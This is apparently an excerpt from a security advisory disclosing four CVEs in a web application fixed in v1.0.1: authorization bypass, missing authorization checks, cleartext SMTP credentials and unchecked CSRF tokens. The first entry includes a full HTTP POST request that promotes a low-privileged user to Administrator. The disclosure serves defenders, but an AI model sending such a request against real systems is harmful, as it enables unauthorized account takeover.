resolved in v1.0.1*.*
-------------------------------
*CVE-2020-11679
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11679>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
A low privileged user can call functionality reserved for an
Administrator
which promotes a low privileged account to the Administrator
role:
POST /Administration/Users/Edit/:ID HTTP/1.1
> Host: $RHOST
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0)
Gecko/20100101
> Firefox/52.0
> Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Cookie: $REVIEWER_COOKIES
> DNT: 1
> Connection: close
> Upgrade-Insecure-Requests: 1
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 349
> UserId=:ID&Email=bypass%40test.com
>
&FirstName=bypass&LastName=bypass&LDAPUser=false
>
>
&Roles%5B0%5D.RoleId=1&Roles%5B0%5D.IsSelected=true&Roles%5B0%5D.IsSelected=false
>
>
&Roles%5B1%5D.RoleId=3&Roles%5B1%5D.IsSelected=true&Roles%5B1%5D.IsSelected=false
>
>
&Roles%5B2%5D.RoleId=5&Roles%5B2%5D.IsSelected=true&Roles%5B2%5D.IsSelected=false
> &Locked=false
-------------------------------
*CVE-2020-11680
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11680>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
The application does not perform an authorization check before
functionality is performed. Low privileged users are prevented
from
browsing to pages that perform Administrator functionality using
GET,
however, functionality can be performed by directly crafting the
associated
POST request. This can be exploited to modify user accounts, modify
the
application, etc. Combined with the reported CSRF, CVE-2020-11682,
any
user of the application can be used to grant Administrator access
to a
malicious user.
-------------------------------
*CVE-2020-11681
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11681>*
*Original Disclosure*
https://www.securitymetrics.com/blog/attackers-known-unknown-authorization-bypass
*Description*
Credentials are returned in cleartext in the source of the SMTP
page. If a
malicious user compromises an account. or exploits the CSRF to gain
access
to the application, the associated SMTP server/account could also
be
compromised.
-------------------------------
*CVE-2020-11682
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11682>*
*Original Disclosure*
https://www.securitymetrics.com/blog/where-did-request-come-from-cross-site-request-forgery-csrf
*Description*
The application does not properly prevent CSRF; the
__RequestVerificationToken, which is included with state changing
requests,
is not verified by the application - requests are successful even
when the
token is removed.
AARON BISHOP | Principal Penetration Tester CISSP, OSCP, OSWE
[image:
SecurityMetrics]
